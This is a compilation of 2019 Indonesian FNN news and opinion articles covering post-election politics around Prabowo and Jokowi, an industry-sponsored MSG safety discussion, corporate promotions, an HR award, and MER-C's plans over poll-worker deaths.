sempit. Dada pun sesak. Semoga saja masih ada peluang untuk “Hidup mulia, atau mati syahid”. Bukan “Hidup hina, mati sakit”. Namun, untuk saat ini, kelihatannya perjuangan Prabowo berakhir dengan mati langkah. Mati kutu. Wallahu a’lam.

Apa Untungnya Prabowo Bertemu Jokowi?

Oleh: Tjahja Gunawan (Wartawan Senior) Jakarta, FNN - Sepanjang ingatan penulis, Ketua Umum PDI Perjuangan Megawati Soekarnoputri tidak pernah bertemu dengan Ketua Umum DPP Partai Demokrat Susilo Bambang Yudhoyono sejak tahun 2004 atau sejak SBY menjadi Presiden selama dua periode hingga tahun 2014. Keduanya akhirnya baru bertemu dan saling bersalaman saat pemakaman Ibu Ani Yudhoyono di Taman Makam Pahlawan Kalibata Jakarta, 2 Juni 2019 lalu. Sebelumnya Megawati juga bertemu SBY secara tidak sengaja karena Ketua MPR-RI Taufik Kiemas yang juga suami Megawati, meninggal dunia pada bulan Juni 2013. Selama menjadi Presiden ke-6, SBY telah berusaha menjalin komukasi agar bisa melakukan rekonsiliasi dengan Megawati Soekarnoputri. Tapi upaya itu selalu kandas bahkan sepanjang SBY menjadi Presiden selama sepuluh tahun, Megawati tidak pernah sekalipun hadir pada setiap acara peringatan HUT Kemerdekaan RI 17 Agustus di Istana Negara Jakarta. Dengan sikapnya itu apakah kemudian Megawati dianggap tidak konstitusional karena tidak mengakui dan menghormati SBY sebagai Presiden RI ke-6? Kan enggak. Apakah Megawati dikriminalisasi, dicari-cari kesalahannya oleh SBY ? Kan enggak juga. Apakah waktu itu ada pengurus atau kader yang disodorkan PDI Perjuangan yang masuk ke jajaran pemerintahan selama SBY menjadi Presiden selama dua periode ? Juga tidak ada. Megawati dan partai yang dipimpinnya konsisten berada di barisan oposisi, berperan sebagai partai yang berseberangan dengan pemerintah. Apakah salah ? Apakah melanggar konstitusi? Dalam negara demokrasi seperti Indonesia, sikap Megawati dan PDI-P tentu tidak salah. Justru seharusnya begitulah sikap pemimpin partai oposisi. Tugasnya melakukan check and balance terhadap jalannya pemerintahan. Lalu mengapa sekarang Joko Widodo sibuk membujuk Prabowo Subianto agar mau bertemu dan melakukan rekonsiliasi dengannya ? Bukankah Prabowo-Sandi sudah menyatakan menerima keputusan Mahkamah Konstitusi (MK) walaupun dengan rasa kecewa. Perlukah Prabowo juga memberi ucapan selamat kepada Presiden yang telah dimenangkan KPU ? Permintaan kubu Jokowi agaknya terlalu lebay juga. Setelah menang dengan cara curang, rupanya kubu Jokowi belum merasa tenang sebelum Prabowo dan Gerindra berhasil mereka rangkul. Jika merujuk pada Pilpres 2014, waktu itu Jokowi sengaja mengadakan safari politik dengan mengunjungi kediaman Prabowo Subianto di Jalan Kartanegara Jakarta. Tujuannya untuk merangkul parpol koalisi pro Prabowo. Setelah Jokowi dan Prabowo salaman, Partai Golkar salah satu parpol pendukung Prabowo langsung lompat pagar merapat ke kubu Jokowi-Jusuf Kalla dan mendapat jatah menteri dan kursi Ketua DPR-RI. Partai lain pro Prabowo yang juga mendapat konsesi adalah PAN. Meskipun waktu itu Ketua Umum PAN Hatta Radjasa batal jadi Wapres, namun partainya mendapat jatah kursi Ketua MPR-RI yang hingga kini dipegang oleh Zulkifli Hasan. Perjalanan politik berikutnya, Zulhas terpilih sebagai Ketua Umum PAN menggantikan Hatta Radjasa. Sedangkan Partai Gerindra dan PKS waktu itu tetap berada di luar pemerintah sebagai partai oposisi. Sama dengan Pilpres 2019, pada Pilpres lima tahun lalu juga terjadi pertarungan yang cukup keras baik diantara parpol pendukung Jokowi dengan parpol pro Prabowo. Sementara masyarakat terbelah dua sama seperti sekarang. Keberpihakan media mainstream tidak berubah, secara kasat mata sejak 2014 hingga sekarang tetap mendukung kubu Jokowi. Pada Pilpres 2014, boleh dibilang persaingan yang keras dan ketat hanya terbatas pada level kader dan para simpatisan Parpol. Oleh karena itu setelah proses rekonsiliasi dan bagi-bagi kursi kekuasaan selesai, semua elite dan kader parpol tidak ribut lagi dan menganggap proses politik sudah selesai. Sementara rakyat yang telah menjatuhkan pilihannya pada pasangan Prabowo-Hatta Radjasa, dilepeh begitu saja. Mereka dibutuhkan hanya menjelang pemilu dan Pilpres saja. Setelah Pilpres berakhir, suara rakyat dianggap tidak ada. Strategi politik yang hendak dilakukan kubu Jokowi sekarang sama seperti tahun 2014. Dengan dalih untuk menghindari kemungkinan terjadinya gerakan boikot pada pelantikan Jokowi-Jusuf Kalla, perlu ada rekonsiliasi dengan kubu Prabowo-Hatta Radjasa. Kini alasan yang dipakai kubu Jokowi dalam merangkul pihak oposisi, untuk meredam ketegangan di lapis bawah (grass root). Strategi menyerang dan merangkul lawan politik ini bagaikan pertandingan tinju. Satu sama lain saling memukul, kemudian begitu terdesak sengaja merangkul supaya pihak lawan tidak memiliki ruang untuk memukul lagi. Begitulah cara politik Machiavelli, berpolitik hanya untuk meraih kekuasaan semata. Segala cara dilakukan termasuk melakukan kecurangan. Keinginan dan ajakan kubu Jokowi untuk rekonsiliasi dibarengi dengan iming-iming pemberian jatah menteri dan kedudukan penting lainnya di pemerintahan. Menghadapi gencarnya berbagai upaya pendekatan ke kubu Prabowo-Sandi, sejumlah kalangan berusaha memberi penguatan kepada keduanya agar tetap konsisten sebagai oposisi. Jangan pernah mau bertemu dan melakukan rekonsiliasi. Bagaimana dengan parpol pendukung Prabowo-Sandi lainnya ?. Seperti sudah kita ketahui bersama, Partai Demokrat sejak masa kampanye telah menyeberang ke kubu Jokowi karena Agus Harimurti, salah satu putra kesayangan SBY, telah dijanjikan kursi menteri dalam kabinet Jokowi-Ma'ruf Amin. Demikian juga PAN, ada kecenderungan untuk merapat ke kubu Jokowi. Sebaliknya PKS sudah sejak awal menyatakan untuk berada di luar pemerintahan sebagai oposisi. Sementara parpol yang mengatasnamakan Islam seperti PKB dan PPP, dalam setiap Pemilu selalu menjadi bagian dari penguasa. Pendekatan yang kini sedang gencar dilakukan kubu Jokowi lebih banyak ditujukan kepada para elite Partai Gerindra dan Prabowo-Sandi. Beberapa elite Partai Gerindra, nampak ada yang telah "masuk angin". Mereka mulai tergiur dengan iming-iming kursi menteri yang ditawarkan Jokowi-Ma'ruf Amin. Sejumlah orang di Partai Gerindra yang kerap mengemukakan pendapat tentang pentingnya rekonsiliasi berdalih bahwa beroposisi tidak harus di luar pemerintahan tapi juga bisa masuk ke dalam pemerintah, mengontrol dari dalam. Ini pernyataan klasik yang banyak kamuflasenya. Sebaliknya anggota Dewan Penasihat Partai Gerindra M Syafii, lebih menginginkan partainya tetap menjadi oposisi. "Saya kira dalam demokrasi yang sehat ada dua pilar yang sangat baik, yaitu partai pendukung dan oposisi. Saya kira demokrasi tidak akan sehat kalau semua partai yang ada menjadi partai pendukung pemenang pemilu. Harus ada yang bersikap oposisi," ujar Syafii di Kompleks Parlemen, Jakarta Selatan, Senin (1/7/2019), sebagaimana dikutip portal berita Detik. Dibalik gencarnya strategi politik yang kini dijalankan kubu Jokowi timbul sejumlah pertanyaan yang mengemuka di kalangan masyarakat. Apakah ajaka rekonsiliasi itu murni hanya ingin merangkul Prabowo-Sandi dan parpol pendukungnya ? Atau ada target lain yakni ingin menjauhkan sosok Prabowo-Sandi dengan para pemilihnya terutama kalangan umat Islam dan para ulama yang mendukungnya. Berbeda dengan Pilpres 2014, dalam Pilpres kali ini Prabowo mendapat dukungan luas dari kalangan umat Islam, para ulama serta emak-emak militan. Sehingga kalau Prabowo sampai menerima ajakan untuk bertemu atau melakukan rekonsiliasi, sama artinya dia telah mencederai kepercayaan rakyat yang telah memilihnya dalam Pilpres 2019. Lebih dari itu, jika Prabowo sampai menerima bujuk rayu dan iming-iming dari kubu sebelah, maka dia tidak menghargai pengorbanan rakyat yang menjadi korban dalam kerusuhan tanggal 21-22 Mei 2019. Sebagai penutup tulisan ini, saya ingin mengutip kalimat yang disampaikan dr Ani Hasibuan melalui tweeternya. "Sebenarnya ini bukan soal Prabowo dan Jokowi. Ini tentang rakyat yang tidak mendapat keadilan. Jadi kalau Pak @prabowo dan @sandiuno mau pelukan dengan kubu sebelah, mangga aja. Kita tidak butuh mereka kok. Ada Allah SWT tempat bersandar". Wallahu a'lam.

Apakah Konsumsi MSG Berbahaya Bagi Kesehatan?

JAKARTA, FNN - Untuk meningkatkan rasa makanan menjadi lebih gurih, sering kali digunakan zat tambahan, di antaranya MSG. Tapi apa sebenarnya efek MSG dan amankah untuk dikonsumsi? Pakar Gizi Prof. Dr. M. Hardinsyah. M.S mengatakan, munculnya anggapan tentang bahaya MSG bagi kesehatan pertama kali dikemukakan oleh Dr. Ho Man Kwok setelah berkirim surat ke New England Journal of Medicine pada tahun 1988. Dalam surartnya dia menceritakan kemungkinan penyebab gejala yang dia alami setiap kali makan di restoran Cina di Amerika Serikat. Belakangan gejala itu dikenal dengan istilah “Sindrom Restoran China”. Namun, dia bilang, MSG atau monosodium glutamat atau oleh masyarakat tanah air dikenal vetsin sama sekali tidak berbahaya bagi kesehatan manusia. Apa yang dirasakan oleh Ho Man Kwok merupakan reaksi dari tubuhnya yang alergi dengan bahan yang terkandung dalam zat glutamate tersebut. "Berdasarkan sebuah penelitian memang ditemukan ada sebagian orang merasa alergi dengan MSG," kata Hardi, sapaan akrabnya ketika menjadi pembicara dalam diskusi "Gizi Seimbang dari Bahan Tambahan Pangan Halal" yang diselanggarakan oleh Forum Warta Pena (FWP) dan Persatuan Pabrik Monosodium Glutamate dan Glutamic Acid Indonesia (P2MI) di Hotel Ibis Tamarin, Sabang, Jakarta Pusat, Rabu (19/6/2019). Pada perkembangannya, pihak produsen MSG -Ajinomoto,SASA, miwon yang merupakan anggota P2MI, menciptakan penyebab rasa lainnya yang dikenal dengan nama UMAMI. UMAMI ini terdiri dari tiga zat gizi, yaitu glutamat, natrium, dan air. Sama halnya dengan MSG, penyedap rasa ini juga tidak berbahanya bagi tubuh manusia. Bahkan jika zat glutamate ini dikomsusmsi secara terus menurus, tak akan ada pengaruh kesehatan bagi pemakainya. “Dikomsumsi hingga Sampai 5 gram pun tak ada pengaruh terhadap kesehatan dan kondisi ini sama dengan manusia yang tidak mengkomsumsi MSG,” kata dia. Peryataan Hardinsyah ini diperkuat oleh Tetty R. Sihombing, pelaksana tugas (Plt) Deputi Bidang Pengawasan Pangan Olahan BPOM RI. Dia yang hadir menjadi pembicara di diskusi ini memaparkan berdasarkan hasil penelitian Joint Expert Committee on Food Additives (JECFA) dari Badan Pangan Dunia milik PBB serta WHO, menempatkan MSG dalam kategori bahan penyedap masakan yang aman dokonsumsi dan tidak berpengaruh pada kesehatan tubuh. Temuan ini diperkuat oleh European Communities Scientific Committee for foods pada tahun 1991. Selanjutnya, Badan Penagwas Obat dan Makanan Amerika Serikat (FDA) pada tahun 1995 menyatakan bahwa MSG termasuk sebagai bahan bumbu masakan, seperti halnya garam, merica, dan gula, sehingga aman bagi tubuh. “MSG tidak menimbulkan bahaya terhadap kesehatan karena memiliki Acceptable Daily Intake (ADI) not specified,” terang Tetty. ADI not specified adalah istilah yang digunakan untuk bahan tambahan pangan yang mempunyai toksisitas yang sangat rendah, berdasarkan data--kimia, biokimia, toksikologi, dan data lainnya. Sementara, Ketua Persatuan Pabrik MSG & GA Indonesia (P2MI) M. Fachrurozy mengatakan, Bahan Tambahan Pangan (BTP) seperti, MSG atau vetsin di industri pangan diatur dengan ketat dan baik oleh BPOM dengan kaidah penggunaan batas maksimum. Sebagai contoh MSG, merupakan BTP yang berfungsi untuk menguatkan rasa UMAMI atau gurih. Menurutnya, MSG yang komponen terbesarnya adalah 78% glutamat merupakan asam amino esensial yang juga dihasilkan oleh tubuh. MSG sebagai BTP memiliki ADI (acceptable daily intake) not specified. Kelompok BTP dengan ADI not specified, menunjukkan bahwa BTP tsb digolongkan pada BTP yang toksisitasnya sangat rendah berdasarkan data kimia, biokimia, toksikologi dan data lainnya. Jumlah asupan BTP tersebut menurut WHO tidak menimbulkan bahaya . (rob)

FWP Gelar Acara Berbagi Bersama Anak Yatim dan Dhuafa

JAKARTA, FNN - Forum Warta Pena (FWP) melaksanakan kegiatan dengan menyantuni anak-anak yatim dan dhuafa. Acara yang bertemakan FWP Berbagi dan Berbuka Puasa bersama Anak Yatim dan Dhuafa di gelar di Masji At Taqwa Attahiriyah, Jl. Kampung Melayu Besar No. 68, Tebet, Jakarta Selatan, Rabu (29/5/2019). Pada acara tersebut FWP membagikan bingkisan dan santunan kepada sekitar 40 anak yatim dan dhuafa. Acara berbuka puasa yang didahului dengan Tausiyah Ustad Syafruddin, MAg. dan diisi dengan permainan bernuansa islami dengan berbagai hadiah menarik. Ketua FWP Solihin mengatakan, ramadan memiliki makna dan pesan khusus bagi kaum muslimim utk meningkatkan kepedulian terhadap kaum anak yatim dan kaum dhuafa. Untuk itu, FWP mennggelar kegiatan berbagi serta buka puasa bersama bersama anak yatim dan dhuafa sebagai wujud rasa syukur keinginan kita utk berbagi kebahagian di bulan penuh berkah. Kami ucapkan terima kasih sebanyak-banyaknya atas dukungannya, izin yang diberikan Takmir Masjid At Taqwa Attahiriyah. Begitu pula kami mengucapkan terimakasih kepada pihak yang telah membantu diantaranya, JNE, XL Axiata, AL Amin Universal, Astra Infra Toll, Frisian flag, ,Mc Ddonal, Yayasan Darmabakti Astra, dan KIKI alat tulis," kata Solihin dalam pidatonya. Forum Warta Pena merupakan sebuah perkumpulan beranggotakan wartawan berbagai media dan sektoral yang peduli dengan berbagai isu kekikinian. Meski umurnya belum genap setahun, FWP sudah menggelar lima kali kegiatanForum Group Discussion (FGD) membahas berbagai persoalan, serta cooking challenge bersama komunitas memasak Jakarta dan FWP Berbagi. Ke depan, FWP akan menggelar diskusi kesehatan tentang manfaat MSG bagi kesehatan dan diskusi soal wisata dan produk halal di Jakarta Convention Center (JCC) Senayan, Jakarta. (rob)

Promo Cashback 30% Pertamina Tingkatkan Keamanan Saat Mudik

JAKARTA, FNN - Upaya Pertamina memberikan promo uang kembali (cashback) sebesar 30% bagi pemudik yang membeli Bahan Bakar Minyak (BBM) nonsubsidi di 148 Stasiun Pengisian Bahan Bakar Umum (SPBU) pada jalur tol Jawa dan Sumatra dinilai sangat positif. Menurut Ketua Harian Yayasan Lembaga Konsumen Indonesia (YLKI) Sularsi, cashback bisa mendorong pemudik untuk melakukan pembayaran non tunai dan pada akhirnya dapat meningkatkan keamanan saat mudik. “Pembayaran non tunai akan memberikan kemudahan bagi masyarakat selama menempuh perjalanan mudik lebaran. Selain itu, sistem pembayaran tersebut juga memberikan kenyamanan dan keamanan bagi para pemudik, karena selama perjalanan tak perlu lagi membawa uang cash," ujar Sularsi di Jakarta, hari ini. Guna kelancaran pembayaran non tunai tersebut, Sularsi berharap agar pihak penyenggara, khususnya perbankan lebih mempersiapkan infrastruktur jaringan komunikasi. Hal ini penting agar memperlancar transaksi di setiap SPBU, sehingga masyarakat khususnya pemudik tak menemui kendala atas layanan ini. "Sedangkan untuk para konsumen, mereka juga harus mempersiapkan diri dengan memastikan tersedianya saldo pada kartu transaksi," ujar Sularsi. Komisioner Ombudsman RI Dadan Suparjo Suharmawijaya juga mengapresiasi upaya Pertamina dengan memberikan cashback kepada pengandara yang membeli BBM di SPBU Pertamina di sepanjang ruas tol Jawa dan Sumatera. "Ini bentuk promosi yang dilakukan Pertamina tentunya kita menyambut baik. Promosi ini sudah biasa, jadi silakan saja. Ini bagus," ujar Dadan. Dalam menyambut mudik Idul Fitri, Pertamina memang memberikan promo uang kembali hingga 30% pembelian Bahan Bakar Minyak (BBM) bagi para pemudik. Cashback berlaku bagi para pemudik yang mengisi BBM non subsidi di 148 SPBU sepanjang ruas tol Trans Sumatera dan Jawa. Promo berlaku untuk pembayaran dengan kartu debit dan kartu kredit serta pembayaran dengan aplikasi LinkAja, yang dapat di-download melalui AppStore untuk pemakai I-phone dan Google Store bagi pengguna Android. Uang kembali diberikan bagi pembelian Pertamax series dan Dex series. Guna mendukung program tersebut, Pertamina bekerja sama dengan Bank BUMN, yaitu BNI, BRI dan Mandiri. Promo uang kembali tersebut berlaku dari 31 Mei 2019 hingga 16 Juni 2019. Selain promo uang kembali, BUMN tersebut juga menyiapkan program Pertamina Siaga yang dibuat untuk mendukung kelancaran mudik 2019. Melalui program tersebut, Pertamina menyediakan 15 titik Rumah Pertamina Siaga berupa fasilitas istirahat gratis di jalur mudik dan balik, di Pulau Jawa dan Sumatra. Rumah Pertamina Siaga dilengkapi dengan berbagai fasilitas seperti area istirahat yang menyediakan alat pijat dan tempat bersantai, tempat salat, tempat bermain anak, dan ruang menyusui. Ada juga layanan ganti oli Fastron, layanan kesehatan ringan, top up Brizzi, penjualan BRIMO dari BRI, dan lounge khusus konsumen kendaraan BMW. Untuk mengantisipasi agar pemudik tidak kehabisan BBM, Pertamina menyiapkan sekitar 200 motoris dan lebih dari 99 titik Kios Pertamina Siaga, yang terdiri dari SPBU Modular dan Kios Kemasan yang menjual Pertamax, Pertamina Dex dan Fastron, di jalur mudik dan balik di Pulau Jawa dan Sumatra. (rob)

RPX Terapkan Konsep One Stop Logistics

JAKARTA, FNN - Perusahaan logistik RPX, mengukuhkan konsep One Stop Logistik guna menjawab kebutuhan logistik masyarakat umum dan para pelaku bisnis. Konsep ini menyediakan cakupan layanan komprehensif dan terintegrasi. COO RPX Group, M. Kadrial menjelaskan, RPX mendefinisikan bisnis dengan menyediakan cakupan layanan komprehensif dan terintegrasi meliputi sembilan unit usaha yang semuanya saling terintegrasi dalam menjawab kebutuhan logistik. “Konsep One Stop Logistics (OSL), RPX memberikan terobosan baru yang merupakan wujud dari kesiapan dalam melayani pasar bisnis dan konsumen. Selama ini kami dikenal sebagai jasa pengantaran kelas premium, namun kini semua layanan dapat dinikmati oleh siapapun . Kualitas premium yang kami hadirkan dalam layanan saat ini dapat dinikmati oleh seluruh konsumen,” jelas M. Kadrial dihadapan media (16/5/3029). Adapun sembilan unit usaha terintegrasi milik RPX meliputi E-commerce, Logistic Warehouse, International Express, Domestic Express, Freight Forwarding, Custom Clearance, Warehouse Transit, Distributions (Trucking), Enabler hingga last mile delivery. Kehadiran OSL ini klaim mempermudah para pelaku bisnis ataupun konsumen dalam memenuhi kebutuhan logistik. “RPX menyediakan solusi logistik dari hulu hingga ke hilir (end to end solutions) dalam satu perusahaan yang sama. Inilah yang disebut One Stop Logistics, ketika seluruh unit usaha dapat terintegrasi menjadi sebuah pelayanan lengkap bagi pelanggan”, imbuh Kadrial. Sebagai komitmen pada OSL tanggal 24 April lalu RPX kembali memperluas jaringan pada kancah internasional dengan membuka kantor perwakilan di Tiongkok. Kehadiran RPX di Tiongkok mendukung era e-commerce lintas batas (cross border) di Indonesia untuk mempromosikan layanan logistic secara dua arah antara Indonesia dan Tiongkok. Hal ini sejalan dengan keinginan RPX untuk memajukan produk Indonesia di negara lain. Sementara itu, VP Express RPX Group.Eko Marhendro Nugroho, memaparkan RPX memandang perkembangan bisnis e-commerce sebagai sebuah revolusi industri secara massive karena perkembangannya memberikan dampak ke beberapa sektor bisnis lain salah satunya logistik. “RPX selalu siap dalam mengikuti perkembangan yang ada dengan mengadopsi penggunaan teknologi terkini untuk memberikan layanan komprehensif, baik domestik maupun internasional ke kota-kota besar di Indonesia dan dunia untuk memberikan kebutuhan bagi pelangan, melalui tekad One Stop Logistics”, lanjut Eko Marhendro. Menurutnya, kebutuhan logistic bisnis e-commerce saat ini semakin kompleks sehingga tidak hanya membutuhkan layanan last mile delivery, tetapi juga membutuhkan layanan logistik terintegrasi. “Sebagai contoh, mulai barang masuk atau keluar dari Indonesia membutuhkan layanan custom clearance setelah itu dibutuhkann juga penyimpanan barang baik sementara (transit) ataupun dalam waktu tertentu yang masuk kedalam layanan warehouse transit dan warehouse logistic hingga tahap akhir, untuk menyampaikan barang tersebut ke tangan customer yaitu last mile delivery. Di sanalah peran OSL dari RPX untuk e-commerce,” tambah Eko. Dari sisi teknologi VP One Stop Logistics RPX M. N. Ikrar, menerangkan RPX menghadirkan inovasi melalui layanan enabler yang berfokus pada IT dan contact center. Enabler dapat membantu para pelaku bisnis atau UKM yang ingin go online, dengan integrasi logistik yang didukung oleh lini bisnis RPX lainnya. “Pada prakteknya ennabler tidak hanya diperuntukan bagi berbagai industri yang membutuhkan solusi teknologi terkait dengan logistic,” terang Ikrar. Ia melanjutkan untuk e-commerce, lini bisnis ini dapat memberikan e-commerce platform yang terintegrasi dengan layanan logistic diantaranya Payment process termasuk debit, credit, wallet, COD (cash on delivery). Hal ini sekaligus menjadi komitmen RPX untuk menghubungkan orang dengan barang melalui kemudahan transaksi yang terintegrasi teknologi canggih dalam satu layanan terpadu. Dalam penjelasannya Ikrar menerangkan bahwa RPX tengah berinvestasi untuk pusat logistik di Java Integrated Industrial and Port Estate (JIIPE) Gresik, Jawa Timur dan di Subang, Jawa Barat. Kedua kawasan ini diperruntukan sebagai hub (penghubung) layanan RPX di barat dan timur. (rob)

Lima Perusahaan Terima Penghargaan Indonesia Human Capital Award 2019

JAKARTA, FNN - Lima perusahaan dinyatakan berhak menerima penghargaan Indonesia Human Capital Award V (IHCA-V-2019). Perusahaan peraih penghargaan itu adalah PT Pegadaian ( Persero), PT Jasa Marga ( Persero) Tbk, PT Bank Maybank Indonesia, TBK, PT Bank DBS Indonesia (DBS Indonesia), serta PT Angkasa Pura- I (Persero). Penghargaan Indonesia Human Capital V- 2019 diserahkan Dirjen Binalattas Kementerian Ketenagakerjaan Bambang Satrio Lelono yang mewakili Menteri Tenaga Kerja RI Hanif Dhakiri di Ballroom, Balai Kartini Jl. Jend. Gatot Subroto, Jakarta Selatan, Kamis (16/5/2019). Pada ajang kali ini mengambil tema “Entering Future Human Capital with Digital & Strategic Proposition on Industry 4.0” yang memaparkan strategi SDM/HC dalam meningkatkan Kinerja Perusahaan akibat dampak Revolusi Industri 4.0” sejalan program Kementerian Ketenagakerjaan. Menurut Bambang, program ini ditujukan untuk menyiapkan 400 ribu tenaga kerja agar siap memasuki dunia industri. Kemnaker juga menyiapkan 8.000 instruktur dari kalangan industri untuk membimbing peserta magang. "Pengembangan SDM melalui program pemagangan merupakan prioritas kita bersama. Ketersediaan SDM kompeten harus link and match dengan kebutuhan dunia industri, karenanya kita menggandeng dunia industri untuk menjawab tantangan ini," kata Bambang. Di tempat yang sama, pendiri sekaligus Direktur Utama Economic Review Hj. RAy. Irlisa Rachmadiana mengatakan, peran aktif dunia industri memegang peranan penting dalam menciptakan tenaga kerja terampil dan siap pakai di dunia kerja. Melalui program pemagangan diharapkan dapat mempercepat penyerapan pengangguran ke dalam dunia industri. "Strategi SDM/ HC dalam meningkatkan Kinerja Perusahaan akibat dampak Revolusi Industri 4.0 sangat diperlukan. Terlebih lagi sudah mulai memasuki era Revolusi Industri 4.0 yang mana industri kita sudah mulai mengaplikasikan mesin dengan teknologi yang lebih canggih, sementara SDM kita belum bisa menyesuaikan makanya TKA terus masuk ke Indonesia,” ujar perempuan yang akrab dipanggil Nana ini. Dia menambahkan apabila tidak dapat mengikuti perkembangan teknologi maka perusahaan akan tergilas pada arus perubahan itu sendiri. Dengan adanya hal ini, eksistensi pelatihan dan pengembangan SDM harus diutamakan untuk meningkatkan produktivitas, meningkatkan kinerja, dan mengembangkan kompetensi karyawan yang mampu menyesuaikan dengan perkembangan jaman. Penyelenggaraan kali ini dimulai dengan pelaksanaan conference dengan pembicara diantaranya Hein Jan Lapidaire Thomas International, UK for APAC, Moh.Edi Isdwiarto HC Director PT. Pegadaian ( Persero), Irvandi Ferizal HC Director PT.Bank Maybank Indonesia, TBK, Endang Tri. K. Sukarso HR Director PT. Solo Murni, serta DR. Alex Denni Chief HC & Transformation Officer PT. Jasa Marga ( Persero) Tbk. Turut hadir Susanna Hartawan Managing Director Thomas International Indonesia sebagai pembicara menyampaikan 2019 Leadership Survey and Trends. IHCA adalah kompetisi terbuka yang dapat diikuti oleh Perusahaan BUMN Tbk, BUMN Non Tbk, Anak Perusahaan BUMN, Swasta Tbk, Swasta Non Tbk, yang telah melalui beberapa seleksi penjurian yang dilakukan secara tatap muka dengan mengisi questioner, melakukan presentasi dan wawancara langsung dengan seluruh juri. “Menghadapi tantangan tersebut, Economic Review mengambil prakarsa untuk menyediakan wahana pembelajaran bagi praktisi Manajemen Sumber Daya Manusia dalam berlomba-lomba untuk menunjukkan Best Practice in Human Capital Management dalam organisasi bisnis maupun sektor publik.Sehingga masih diperlukan kerja keras dalam meningkatkan kualitas dan kompetensi SDM di semua sektor industry,” terang Ketua Dewan Juri IHCA V 2019 DR. Stefanus M.S.Sadana. (rob)

MER-C Ancam Pidanakan KPU ke Mahkamah Internasional

JAKARTA, FNN - Tim mitigasi dari Medical Emergency Rescue Committee (MER-C) berencama akan melaporkan Komisi Pemilihan Umum (KPU) ke Mahkamah Pidana Internasional UNHRC (United Nation Human Right Council) terkait kematian ratusan petugas Kelompok Penyelenggara Pemungutan Suara (KPPS) pada Pemilu Raya 2019. "Laporan akan dihentikan jika KPU serius menangani kasus kematian ratusan petugas KPPS. Proses penanganan kasus meninggalnya KPPS harus ditangani lebih fokus. Tujuannya, agar tidak ada lagi korban lagi,” ujar Presidium MER-C Jose Rizal di Jakarta, Rabu (15/5/2019) kemarin. Jose memuturkan, saat ini pihaknya telah membentuk tim investigasi untuk melakukan cost of dead (COD) guna melakukan penyelidikan kematian ratusan petugas KPPS. Dari hasil penyelidikan akan dijadikan sebagai bahan laporan ke Mahkamah Pidana Internasional atau UNHRC. Hingga saat ini pihaknya terus melakukan pengumpulan data terkait kematian lebih dari 500 petugas KPPS pada Pemilu Raya 2019. Sebelumnya MER-C juga telah melakukan pertemuan dengan KPU dan Badan Pengawas Pemilu (Bawaslu) dan pihak terkait lainnya untuk mengungkap kematian ratusan petugas KPPS tersebut. Jose mengaku, saat ini memang banyak pertanyaan kepada pihaknya terkait kematian ratusan petugas KPPS. Mereka menanyakan apa bukti dari penyebab kematian dan sakit petugas KPPS. Sehingga menuntut KPU dan Bawaslu bertanggungjawab atas kematian ratusan petugas KPPS. “Banyak pertanyaan kepada saya. Dok, apakah sudah punya bukti mengenai penyebab kematian dan sakit petugas KPPS? Apakah ini tidak terlalu dini untuk melakukan langkah penuntutan terutama kepada KPU,” jelasnya. Jose menerangkan, pembentukan COD memerlukan waktu yang tidak sebentar. Karena pihaknya harus melakukan pengecekan laboratorium hingga outopsi verbal yang melibatkan pihak keluarga korban dan membaca hasil rekam medis. “Ini memerlukan izin dari keluarga. Kemudian kita juga melakukan post mortem dengan pemeriksaan jenazah luar dan dalam. Ini pun memerlukan izin dari keluarga saja,” ujarnya. Selanjutnya tim juga melakukan outopsi visum et repertum yang juga membutuhkan izin dari keluarga dan kepolisian. Proses membutuhkan izin merupakan langkah yang paling sulit. Karena biasanya tidak mendapatkan izin dari pihak kepolisian. Oleh karena itu pihaknya hanya melakukan post mortem dan outopsi verbal. Namun metode tersebut cukup valid dari hasil autopsi. "Kami sudah buktikan pada penyelidikan pada kasus terbunuhnya Faturrohman Al Ghozi di Pilipina,” ungkapnya. Langkah MER-C, menurut Jose lebih fokus pada korban KPPS yang terus berjatuhan. Kemudian, juga terdahap KPPS yang sakit dan diperkirakan potensial akan meninggal dunia. Data dari media menyebutkan lebih dari 600 KPPS telah meninggal dunia, sementara data dari Kementerian Kesehatan (Kemenkes) lebih dari 10 ribu KPPS tengah sakit. “Yang sakit ini potensial untuk meninggal dunia,” tegasnya. Lebih jauh Jose menuturkan, dalam bekerja tim akan mengambil sampel dari korban. Sampel itu berupa darah, rambut, muntahan, kuku, urine dan feses dan semua yang berhubungan dengan ekskresi di badan. Tentu saja, pengambilan sampel tersebut dikemudian hari tidak bisa dipatahkan oleh ahli hukum. “Kita serius, termasuk pada proses outopsi. Bisa saja proses ini lebih dari 6 bulan. Kita tidak targetkan waktu, apalagi kesulitan kami belum ada korban yang mau menjadi sempel untuk outopsi,” bebernya. Ia berharap upaya yang dilakukannya bisa menemukan sampel mayat yang baru saja meninggal. Karena, tingkat akurasi diagnosanya lebih tinggi. Jose menolak keras teori kematian KPPS diduga oleh penyakit jantung. Karena, tidak sedikit kematian KPPS tersebut setelah mendapatkan perawatan. “Kalau penyakit jantung, serangan bisa meninggal di tempat. Ini semua harus ditemukan dengan COD, jangan hanya berteori hipotesa saja,” ujarnya. Dari data jumlah kematian KPPS, ujar Jose, ada pembiaran yang dilakukan KPU atau dalam hal ini pemerintah. Sejatinya pemerintah harus mencegah terus berjatuhannya korban dari KPPS. “Ini pembiaran. Korban terus berjatuhan dengan fungsi waktu dan tidak ada langkah konkrit pencegahan atau emergency dari pemerintah. Dan ini kemudian yang kami persoalkan,” terangnya. Presidium MER-C Hadiki Habib juga mengatakan, kasus meninggalnya KPPS pada Pemilu 2019 lalu sangat tinggi. Dan itu merupakan bencana. Tentu saja, menurutny harus ada kesiapsiagaan pada pelaksanaan Pemilu mendatang. “Ini yang harus mendapat respon dari pemerintah. Ini soal kemanusian,” katanya. (rob)

Tim Hukum Nasional Upaya Negara Membungkam Lawan Politik

